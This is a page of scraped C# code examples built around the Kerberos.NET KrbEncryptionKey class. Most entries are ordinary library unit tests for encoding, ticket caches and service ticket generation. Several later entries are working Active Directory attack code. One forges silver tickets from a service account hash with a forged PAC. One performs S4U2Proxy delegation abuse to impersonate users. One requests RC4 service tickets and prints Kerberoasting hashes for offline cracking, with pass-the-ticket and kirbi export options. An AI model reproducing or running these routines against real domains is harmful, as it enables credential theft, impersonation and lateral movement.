Exemplo n.º 1
0
 private static TicketCacheEntry CreateCacheEntry(string key = "krbtgt/bar.com")
 {
     return(new TicketCacheEntry
     {
         Key = key,
         Value = new KerberosClientCacheEntry
         {
             KdcResponse = new KrbAsRep
             {
                 CName = KrbPrincipalName.FromString("*****@*****.**"),
                 CRealm = "bar.com",
                 Ticket = new KrbTicket
                 {
                     Realm = "bar.com",
                     SName = KrbPrincipalName.FromString(key),
                     EncryptedPart = new KrbEncryptedData
                     {
                         EType = EncryptionType.AES128_CTS_HMAC_SHA1_96,
                         Cipher = Array.Empty <byte>()
                     }
                 }
             },
             SessionKey = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96),
             SName = KrbPrincipalName.FromString(key)
         }
     });
 }
Exemplo n.º 2
0
        public void CredPartRoundtrip()
        {
            KrbEncKrbCredPart part = new KrbEncKrbCredPart
            {
                Nonce    = 123,
                RAddress = new KrbHostAddress
                {
                    Address     = Encoding.ASCII.GetBytes("blaaaaaaaah"),
                    AddressType = AddressType.NetBios
                },
                SAddress = new KrbHostAddress
                {
                    Address     = Encoding.ASCII.GetBytes("server"),
                    AddressType = AddressType.NetBios
                },
                Timestamp  = DateTimeOffset.UtcNow,
                USec       = 123,
                TicketInfo = new[]
                {
                    new KrbCredInfo
                    {
                        AuthorizationData = new KrbAuthorizationData[]
                        {
                            new KrbAuthorizationData
                            {
                                Data = Array.Empty <byte>(),
                                Type = AuthorizationDataType.AdAndOr
                            }
                        },
                        AuthTime  = DateTimeOffset.UtcNow,
                        EndTime   = DateTimeOffset.UtcNow,
                        RenewTill = DateTimeOffset.UtcNow,
                        Flags     = TicketFlags.Anonymous,
                        Key       = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96),
                        PName     = new KrbPrincipalName
                        {
                            Name = new[] { "pname" },
                            Type = PrincipalNameType.NT_ENTERPRISE
                        },
                        Realm = "realm.com",
                        SName = new KrbPrincipalName
                        {
                            Name = new[] { "server" },
                            Type = PrincipalNameType.NT_ENTERPRISE
                        },
                        SRealm    = "srealm.com",
                        StartTime = DateTimeOffset.UtcNow
                    }
                }
            };

            var encoded = part.EncodeApplication();

            var decoded = KrbEncKrbCredPart.DecodeApplication(encoded);

            Assert.IsNotNull(decoded);

            Assert.AreEqual(part.Nonce, decoded.Nonce);
            Assert.AreEqual(1, part.TicketInfo.Length);
        }
Exemplo n.º 3
0
        public void KrbAuthenticator_Roundtrip()
        {
            var auth = new KrbAuthenticator
            {
                AuthorizationData = new[] { new KrbAuthorizationData {
                                                Data = new byte[16], Type = AuthorizationDataType.AdAndOr
                                            } },
                Checksum       = KrbChecksum.Create(new byte[16], new KerberosKey(key: new byte[16], etype: EncryptionType.AES128_CTS_HMAC_SHA1_96), KeyUsage.AdKdcIssuedChecksum),
                CName          = KrbPrincipalName.FromString("*****@*****.**"),
                CTime          = DateTimeOffset.UtcNow,
                CuSec          = 1234,
                Realm          = "blah.com",
                SequenceNumber = 123456,
                Subkey         = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96)
            };

            var encoded = auth.EncodeApplication();

            var decoded = KrbAuthenticator.DecodeApplication(encoded);

            Assert.IsNotNull(decoded);
            Assert.IsNotNull(decoded.AuthorizationData);
            Assert.AreEqual(1, decoded.AuthorizationData.Length);
            Assert.AreEqual(AuthorizationDataType.AdAndOr, decoded.AuthorizationData[0].Type);
            Assert.AreEqual("*****@*****.**", decoded.CName.FullyQualifiedName);
        }
Exemplo n.º 4
0
        public async Task CreateServiceTicket_NullServicePrincipalKey()
        {
            var key = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96).AsKey();

            await KrbKdcRep.GenerateServiceTicket <KrbTgsRep>(new ServiceTicketRequest
            {
                EncryptedPartKey = key,
                ServicePrincipal = new FakeKerberosPrincipal("*****@*****.**")
            });
        }
Exemplo n.º 5
0
        public void DecryptedKrbApRep_Validate_CTime()
        {
            var now = DateTimeOffset.UtcNow;

            var sessionKey = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96);

            var decrypted = CreateResponseMessage(now, 0, 123, sessionKey.AsKey());

            decrypted.Validate(ValidationActions.All);
        }
Exemplo n.º 6
0
        public void CreateServiceTicket_NullServicePrincipal()
        {
            var key = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96).AsKey();

            KrbKdcRep.GenerateServiceTicket <KrbTgsRep>(new ServiceTicketRequest
            {
                EncryptedPartKey = key,
                ServicePrincipal = null
            });
        }
Exemplo n.º 7
0
        public void ParseFileRoundTrip()
        {
            var tmp   = Path.GetTempFileName();
            var cache = new Krb5TicketCache(tmp);

            try
            {
                Assert.IsNotNull(cache);

                cache.Add(new TicketCacheEntry
                {
                    Key   = "krbtgt/bar.com",
                    Value = new KerberosClientCacheEntry
                    {
                        KdcResponse = new KrbAsRep
                        {
                            CName  = KrbPrincipalName.FromString("*****@*****.**"),
                            CRealm = "bar.com",
                            Ticket = new KrbTicket
                            {
                                Realm         = "bar.com",
                                SName         = KrbPrincipalName.FromString("krbtgt/bar.com"),
                                EncryptedPart = new KrbEncryptedData
                                {
                                    EType  = EncryptionType.AES128_CTS_HMAC_SHA1_96,
                                    Cipher = Array.Empty <byte>()
                                }
                            }
                        },
                        SessionKey = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96),
                        SName      = KrbPrincipalName.FromString("krbtgt/bar.com")
                    }
                });

                using (var secondCache = new Krb5TicketCache(tmp))
                {
                    var entry = secondCache.GetCacheItem <KerberosClientCacheEntry>("krbtgt/bar.com");

                    Assert.IsNotNull(entry.KdcResponse);
                    Assert.AreEqual("bar.com", entry.KdcResponse.CRealm);
                    Assert.AreEqual("*****@*****.**", entry.KdcResponse.CName.FullyQualifiedName);
                }
            }
            finally
            {
                cache.Dispose();

                if (File.Exists(tmp))
                {
                    File.Delete(tmp);
                }
            }
        }
Exemplo n.º 8
0
        public void DecryptedKrbApRep_Validate_Skew()
        {
            // generate ticket where now is ten minutes ago

            var now = DateTimeOffset.UtcNow;

            var sessionKey = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96);

            var decrypted = CreateResponseMessage(now, 0, 123, sessionKey.AsKey());

            decrypted.Now = () => DateTimeOffset.UtcNow.AddMinutes(-10);

            decrypted.Validate(ValidationActions.All);
        }
Exemplo n.º 9
0
        public static TicketCacheEntry ConvertKrbCredToCacheEntry(KrbEncKrbCredPart credPart, KrbTicket ticket, KrbCredInfo ticketInfo)
        {
            var key = new byte[ticketInfo.Key.KeyValue.Length];

            ticketInfo.Key.KeyValue.CopyTo(key);

            var usage = KeyUsage.EncTgsRepPartSessionKey;

            var sessionKey = new KrbEncryptionKey {
                EType = ticketInfo.Key.EType, Usage = usage, KeyValue = key
            };

            var kdcRepData = new KrbEncTgsRepPart
            {
                AuthTime  = ticketInfo.AuthTime ?? DateTimeOffset.UtcNow,
                EndTime   = ticketInfo.EndTime ?? DateTimeOffset.MaxValue,
                Flags     = ticketInfo.Flags,
                Key       = sessionKey,
                Nonce     = credPart.Nonce ?? 0,
                Realm     = ticketInfo.Realm,
                RenewTill = ticketInfo.RenewTill,
                SName     = ticketInfo.SName,
                StartTime = ticketInfo.StartTime ?? DateTimeOffset.MinValue,
                LastReq   = Array.Empty <KrbLastReq>()
            };

            return(new TicketCacheEntry
            {
                Key = ticket.SName.FullyQualifiedName,
                Expires = ticketInfo.EndTime ?? DateTimeOffset.MaxValue,
                RenewUntil = ticketInfo.RenewTill,
                Value = new KerberosClientCacheEntry
                {
                    SessionKey = sessionKey,
                    AuthTime = kdcRepData.AuthTime,
                    StartTime = kdcRepData.StartTime,
                    EndTime = kdcRepData.EndTime,
                    RenewTill = kdcRepData.RenewTill,
                    Flags = kdcRepData.Flags,
                    SName = kdcRepData.SName,
                    KdcResponse = new KrbTgsRep
                    {
                        Ticket = ticket,
                        CName = ticketInfo.PName,
                        CRealm = ticketInfo.Realm,
                        EncPart = KrbEncryptedData.Encrypt(kdcRepData.EncodeApplication(), sessionKey.AsKey(), usage)
                    }
                }
            });
        }
Exemplo n.º 10
0
        public async Task CreateServiceTicket()
        {
            var key = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96).AsKey();

            var ticket = await KrbKdcRep.GenerateServiceTicket <KrbTgsRep>(new ServiceTicketRequest
            {
                EncryptedPartKey    = key,
                ServicePrincipal    = new FakeKerberosPrincipal("*****@*****.**"),
                ServicePrincipalKey = key,
                Principal           = new FakeKerberosPrincipal("*****@*****.**"),
                RealmName           = "blah.com"
            });

            Assert.IsNotNull(ticket);
        }
 private void ShowEncrytionKey(string title, KrbEncryptionKey key)
 {
     if (key == null)
     {
         AADKerberosLogger.Save($"  {title}:");
     }
     else
     {
         AADKerberosLogger.Save($"  {title}.Usage: {key.Usage}");
         AADKerberosLogger.Save($"  {title}.EType: {key.EType}");
         AADKerberosLogger.Save($"  {title}.KeyValue.Length: {key.KeyValue.Length}");
         AADKerberosLogger.Save($"  {title}.KeyValue.Value:");
         AADKerberosLogger.PrintBinaryData(key.KeyValue.ToArray());
     }
 }
Exemplo n.º 12
0
        public void KrbEncApRepPartRoundtrip()
        {
            var encPart = new KrbEncApRepPart
            {
                CTime          = DateTimeOffset.UtcNow,
                CuSec          = 123,
                SequenceNumber = 123,
                SubSessionKey  = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96)
            };

            var encoded = encPart.Encode();

            var decoded = KrbEncApRepPart.DecodeApplication(encoded.AsMemory());

            Assert.IsNotNull(decoded);
        }
Exemplo n.º 13
0
        public void CreateServiceTicketOnCompatibilitySetting(string realm, KerberosCompatibilityFlags compatibilityFlags, string expectedRealm)
        {
            var key = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96).AsKey();

            var ticket = KrbKdcRep.GenerateServiceTicket <KrbTgsRep>(new ServiceTicketRequest
            {
                EncryptedPartKey    = key,
                ServicePrincipal    = new FakeKerberosPrincipal("*****@*****.**"),
                ServicePrincipalKey = key,
                Principal           = new FakeKerberosPrincipal("*****@*****.**"),
                RealmName           = realm,
                Compatibility       = compatibilityFlags,
            });

            Assert.IsNotNull(ticket);
            Assert.AreEqual(expectedRealm, ticket.CRealm);
        }
Exemplo n.º 14
0
        private static KrbAsRep RequestTgt(out KrbEncryptionKey sessionKey)
        {
            var cred = new KerberosPasswordCredential(Upn, "P@ssw0rd!")
            {
                // cheating by skipping the initial leg of requesting PA-type

                Salts = new[]
                {
                    new KeyValuePair <EncryptionType, string>(
                        EncryptionType.AES256_CTS_HMAC_SHA1_96,
                        "*****@*****.**"
                        )
                },
                Configuration = Krb5Config.Default()
            };

            var asReq = KrbAsReq.CreateAsReq(
                cred,
                AuthenticationOptions.AllAuthentication
                );

            var handler = new KdcAsReqMessageHandler(asReq.EncodeApplication(), new KdcServerOptions
            {
                DefaultRealm = Realm,
                IsDebug      = true,
                RealmLocator = realm => new FakeRealmService(realm)
            });

            handler.PreAuthHandlers[PaDataType.PA_ENC_TIMESTAMP] = service => new PaDataTimestampHandler(service);

            var results = handler.Execute();

            var decoded = KrbAsRep.DecodeApplication(results);

            var decrypted = cred.DecryptKdcRep(
                decoded,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d)
                );

            sessionKey = decrypted.Key;

            return(decoded);
        }
Exemplo n.º 15
0
        public static KrbTicket BuildSliver(string srvName, string srvHash, EncryptionType etype, string username, string realm, string service, string domainsid,
                                            bool ptt = false, bool verbose = false)
        {
            var now = DateTime.UtcNow.AddTicks(-(DateTime.Now.Ticks % TimeSpan.TicksPerSecond));

            Console.WriteLine("\n[*] Building Sliver Ticket ...");

            var srvCred = new Utils.KerberosHashCreds(srvName, srvHash, etype);

            var authData = Pac.generatePac(username, domainsid, realm, srvCred.CreateKey(), now);


            //Arbitrary session key
            var sessionKey = KrbEncryptionKey.Generate(EncryptionType.RC4_HMAC_NT);

            KrbEncTicketPart encTicket = new KrbEncTicketPart()
            {
                AuthTime  = now,
                StartTime = now,
                //Ticket Expiration time (valid for 10 hours)
                EndTime   = now.AddHours(10),
                RenewTill = now.AddDays(7),
                CRealm    = realm,
                CName     = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_PRINCIPAL,
                    Name = new[] { username }
                },
                Flags = //TicketFlags.EncryptedPreAuthentication |
                        TicketFlags.PreAuthenticated |
                        TicketFlags.Initial |
                        TicketFlags.Renewable |
                        TicketFlags.Forwardable,
                AuthorizationData = authData,
                CAddr             = null,
                Key       = sessionKey,
                Transited = new KrbTransitedEncoding(),
            };

            var encData = KrbEncryptedData.Encrypt(
                encTicket.EncodeApplication(),
                srvCred.CreateKey(),
                KeyUsage.Ticket);

            //encData.KeyVersionNumber = 2;

            string srvHost = null;

            if (srvName.Contains("$"))
            {
                srvHost = srvName.Replace("$", string.Empty) + "." + realm;
            }
            else
            {
                srvHost = srvName;
            }
            var sliverTicket = new KrbTicket()
            {
                TicketNumber = 5,
                Realm        = realm,
                SName        = new KrbPrincipalName
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = new[] { service, srvHost }
                },
                EncryptedPart = encData,
            };



            if (verbose)
            {
                var de = sliverTicket.EncryptedPart.Decrypt
                             (srvCred.CreateKey(),
                             KeyUsage.Ticket,
                             b => KrbEncTicketPart.DecodeApplication(b));

                Console.WriteLine("   * [Decrypted SliverTicket Ticket]:");
                PrintFunc.PrintTicketEnc(de);
            }



            Console.WriteLine("[*] Now you have a Sliver Ticket!");

            var kirbiTGT = Kirbi.toKirbi(sliverTicket, srvName, srvHash, etype, service, ptt, verbose);


            Console.WriteLine("[+] Done! Now enjoy your ticket.");

            return(sliverTicket);
        }
Exemplo n.º 16
0
        //S4U2Proxy
        //[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo
        //The KDC checks if the security principal name(SPN) for Service 2,
        //identified in the sname and srealm fields of the KRB_TGS_REQ message,
        //is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter.
        //If it is, then the KDC replies with a service ticket for Service 2.
        //Otherwise the KDC MUST return `KRB-ERR-BADOPTION`.
        public static async System.Threading.Tasks.Task S4U2Proxy(string kdc,
                                                                  ILoggerFactory logger,
                                                                  TcpKerberosTransport transport,
                                                                  KrbAsRep asRep,
                                                                  KrbTgsRep s4u2self,
                                                                  string username,
                                                                  string password,
                                                                  string domainName,
                                                                  string impersonateuser,
                                                                  string spn,
                                                                  bool outKirbi        = false,
                                                                  bool verbose         = false,
                                                                  bool ptt             = false,
                                                                  string hash          = null,
                                                                  EncryptionType etype = EncryptionType.RC4_HMAC_NT)
        {
            var now = DateTime.UtcNow;

            credKey = password != null ?
                      new KerberosPasswordCredential(username, password, domainName).CreateKey() :
                      new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();


            KrbEncAsRepPart asDecrypted = password != null ?
                                          new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d)) :
                                          new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d));

            var sessionKey = asDecrypted.Key;


            //Request Service Ticket parameters

            ApOptions  apOptions  = ApOptions.Reserved;
            KdcOptions kdcOptions =
                KdcOptions.Forwardable |
                KdcOptions.Renewable |
                KdcOptions.RenewableOk;
            string    s4u             = null;
            KrbTicket s4uTicket       = s4u2self.Ticket;
            KrbTicket u2uServerTicket = null;



            var rst = new RequestServiceTicket()
            {
                ServicePrincipalName = spn,
                ApOptions            = apOptions,
                S4uTarget            = s4u,
                S4uTicket            = s4uTicket,
                UserToUserTicket     = u2uServerTicket,
                KdcOptions           = kdcOptions,
                Realm = domainName
            };


            var sname = rst.ServicePrincipalName.Split('/', '@');
            var tgt   = asRep.Ticket;

            var additionalTickets = new List <KrbTicket>();

            if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
            {
                additionalTickets.Add(rst.UserToUserTicket);
            }
            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                rst.KdcOptions |= KdcOptions.Forwardable;
            }
            if (rst.S4uTicket != null)
            {
                rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket;

                additionalTickets.Add(rst.S4uTicket);
            }

            //EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT };
            string[] name = { };
            var      body = new KrbKdcReqBody
            {
                EType      = KrbConstants.KerberosConstants.ETypes.ToArray(),
                KdcOptions = rst.KdcOptions,
                Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                Realm      = rst.Realm,
                SName      = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = sname
                },
                Till  = KrbConstants.KerberosConstants.EndOfTime,
                CName = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = name
                },
            };

            if (additionalTickets.Count > 0)
            {
                body.AdditionalTickets = additionalTickets.ToArray();
            }

            var bodyChecksum = KrbChecksum.Create(
                body.Encode(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqChecksum
                );


            //ApReq
            //Authenticator
            var authenticator = new KrbAuthenticator
            {
                CName          = asRep.CName,
                Realm          = asRep.Ticket.Realm,
                SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
                Checksum       = bodyChecksum,
                CTime          = now,
                CuSec          = now.Millisecond //new Random().Next(0, 999999)
            };

            var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);

            subSessionKey.Usage  = KeyUsage.EncTgsRepPartSubSessionKey;
            authenticator.Subkey = subSessionKey;

            var encryptedAuthenticator = KrbEncryptedData.Encrypt(
                authenticator.EncodeApplication(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqAuthenticator
                );

            var apReq = new KrbApReq
            {
                Ticket        = tgt,
                ApOptions     = apOptions,
                Authenticator = encryptedAuthenticator
            };


            var pacOptions = new KrbPaPacOptions
            {
                Flags = PacOptions.ResourceBasedConstrainedDelegation
            }.Encode();

            var paData = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_TGS_REQ,
                    Value = apReq.EncodeApplication()
                },
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_OPTIONS,
                    Value = pacOptions
                }
            };



            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                var paS4u = new KrbPaForUser
                {
                    AuthPackage = "Kerberos",
                    UserName    = new KrbPrincipalName {
                        Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
                    },
                    UserRealm = tgt.Realm
                };
                paS4u.GenerateChecksum(subSessionKey.AsKey());

                paData.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_FOR_USER,
                    Value = paS4u.Encode()
                });
            }

            var tgs = new KrbTgsReq
            {
                PaData = paData.ToArray(),
                Body   = body
            };



            ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();


            Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ...");
            if (verbose)
            {
                PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
            }



            CancellationToken cancellation = default;

            cancellation.ThrowIfCancellationRequested();



            KrbTgsRep tgsRep = null;

            try
            {
                tgsRep = await transport.SendMessage <KrbTgsRep>(
                    rst.Realm,
                    encodedTgs,
                    cancellation
                    );
            }
            catch (KerberosProtocolException pex)
            {
                Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
                Environment.Exit(0);
            }


            Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ...");

            try
            {
                KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
                    subSessionKey.AsKey(),
                    KeyUsage.EncTgsRepPartSubSessionKey,
                    (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));

                if (verbose)
                {
                    PrintFunc.PrintRep(tgsRep, credKey);

                    Console.WriteLine("    * [Decrypted Enc-Part]:");
                    PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
                }

                if (outKirbi)
                {
                    var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);

                    Console.WriteLine("[+] TGS Kirbi:");
                    Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGS));
                }
            }catch (Exception e)
            {
                Console.WriteLine("[x] {0}", e.Message);
            }
        }
Exemplo n.º 17
0
        //TODO...
        //askTGS with TGT kirbi
        public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc,
                                                                              ILoggerFactory logger,
                                                                              TcpKerberosTransport transport,
                                                                              KrbAsRep asRep,
                                                                              string username,
                                                                              string password,
                                                                              string domainName,
                                                                              string spn,
                                                                              bool isUnconstrained    = false,
                                                                              bool outKirbi           = false,
                                                                              bool verbose            = false,
                                                                              bool kerberoast         = false,
                                                                              bool ptt                = false,
                                                                              string hash             = null,
                                                                              EncryptionType etype    = EncryptionType.RC4_HMAC_NT,
                                                                              bool outfile            = false,
                                                                              string srvName          = null,
                                                                              string tgsHash          = null,
                                                                              EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
                                                                              )
        {
            var now = DateTime.Now;

            credKey = password != null ?
                      new KerberosPasswordCredential(username, password, domainName).CreateKey() :
                      new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();


            KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d));

            var sessionKey = asDecrypted.Key;



            //Request Service Ticket parameters

            ApOptions  apOptions  = ApOptions.Reserved;
            KdcOptions kdcOptions =
                KdcOptions.Forwardable |
                KdcOptions.Renewable |
                KdcOptions.RenewableOk |
                KdcOptions.Canonicalize;
            string    s4u             = null;
            KrbTicket s4uTicket       = null;
            KrbTicket u2uServerTicket = null;

            if (isUnconstrained)
            {
                spn         = $"krbtgt/{domainName}";
                kdcOptions |= KdcOptions.Forwarded;
            }


            var rst = new RequestServiceTicket()
            {
                ServicePrincipalName = spn,
                ApOptions            = apOptions,
                S4uTarget            = s4u,
                S4uTicket            = s4uTicket,
                UserToUserTicket     = u2uServerTicket,
                KdcOptions           = kdcOptions,
                Realm = domainName
            };


            var sname = rst.ServicePrincipalName.Split('/', '@');
            var tgt   = asRep.Ticket;

            var additionalTickets = new List <KrbTicket>();

            if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
            {
                additionalTickets.Add(rst.UserToUserTicket);
            }
            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                rst.KdcOptions |= KdcOptions.Forwardable;
            }
            if (rst.S4uTicket != null)
            {
                rst.KdcOptions |= KdcOptions.ConstrainedDelegation;

                additionalTickets.Add(rst.S4uTicket);
            }


            var body = new KrbKdcReqBody
            {
                //Specify RC4 as the only supported EType
                EType      = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(),
                KdcOptions = rst.KdcOptions,
                Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                Realm      = rst.Realm,
                SName      = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = sname
                },
                Till  = KrbConstants.KerberosConstants.EndOfTime,
                CName = rst.CNameHint
            };

            if (additionalTickets.Count > 0)
            {
                body.AdditionalTickets = additionalTickets.ToArray();
            }

            var bodyChecksum = KrbChecksum.Create(
                body.Encode(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqChecksum
                );

            //ApReq
            //Authenticator
            var authenticator = new KrbAuthenticator
            {
                CName          = asRep.CName,
                Realm          = asRep.Ticket.Realm,
                SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
                Checksum       = bodyChecksum,
                CTime          = now,
                CuSec          = now.Millisecond //new Random().Next(0, 999999)
            };

            var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);

            subSessionKey.Usage  = KeyUsage.EncTgsRepPartSubSessionKey;
            authenticator.Subkey = subSessionKey;

            var encryptedAuthenticator = KrbEncryptedData.Encrypt(
                authenticator.EncodeApplication(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqAuthenticator
                );

            var apReq = new KrbApReq
            {
                Ticket        = tgt,
                ApOptions     = apOptions,
                Authenticator = encryptedAuthenticator
            };


            var pacOptions = new KrbPaPacOptions
            {
                Flags = PacOptions.BranchAware
            }.Encode();

            var paData = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_TGS_REQ,
                    Value = apReq.EncodeApplication()
                },
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_OPTIONS,
                    Value = pacOptions
                }
            };



            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                var paS4u = new KrbPaForUser
                {
                    AuthPackage = "Kerberos",
                    UserName    = new KrbPrincipalName {
                        Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
                    },
                    UserRealm = tgt.Realm
                };
                paS4u.GenerateChecksum(subSessionKey.AsKey());

                paData.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_FOR_USER,
                    Value = paS4u.Encode()
                });
            }

            var tgs = new KrbTgsReq
            {
                PaData = paData.ToArray(),
                Body   = body
            };



            ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();


            Console.WriteLine("[*] Sending TGS-REQ ...");
            if (verbose)
            {
                PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
            }



            CancellationToken cancellation = default;

            cancellation.ThrowIfCancellationRequested();



            KrbTgsRep tgsRep = null;

            try
            {
                tgsRep = await transport.SendMessage <KrbTgsRep>(
                    rst.Realm,
                    encodedTgs,
                    cancellation
                    );
            }
            catch (KerberosProtocolException pex)
            {
                Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message);
                Environment.Exit(0);
            }


            Console.WriteLine("[*] Receiving TGS-REP ...");
            if (verbose)
            {
                PrintFunc.PrintRep(tgsRep, credKey);
            }



            var returnFlag = TicketFlags.Anonymous;

            try
            {
                //TGS-REP Enc-Part
                //https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144
                KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
                    subSessionKey.AsKey(),
                    KeyUsage.EncTgsRepPartSubSessionKey,
                    (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));

                if (verbose)
                {
                    Console.WriteLine("    * [Decrypted Enc-Part]:");
                    PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);

                    returnFlag = tgsDecryptedRepPart.Flags;


                    if (!string.IsNullOrEmpty(tgsHash))
                    {
                        //=========================================
                        //TGS Tiket Enc-Part
                        //Service account Cred
                        var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype);

                        //TGS-REQ Ticket Enc-Part
                        KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart>
                                                               (kerbCred2.CreateKey(),
                                                               KeyUsage.Ticket,
                                                               (ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t));

                        Console.WriteLine("    * [Decrypted Ticket Enc-Part]:");
                        PrintFunc.PrintTicketEnc(ticketDecrypted);
                        //=========================================
                    }
                }


                if (outKirbi || outfile)
                {
                    var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
                    if (outKirbi)
                    {
                        Console.WriteLine("[+] TGS Kirbi:");
                        Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGS));
                    }
                    if (outfile)
                    {
                        Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS);
                    }
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("[x] {0}", e.Message);
            }



            if (kerberoast)
            {
                //Kerberoasting
                var encType    = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString());
                var myCipher   = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "");
                var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32));
                Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash);
            }


            return(returnFlag);
        }
Exemplo n.º 18
0
 public KerberosKey(KrbEncryptionKey key)
     : this(key : key.KeyValue.ToArray(), etype : key.EType)
 {
 }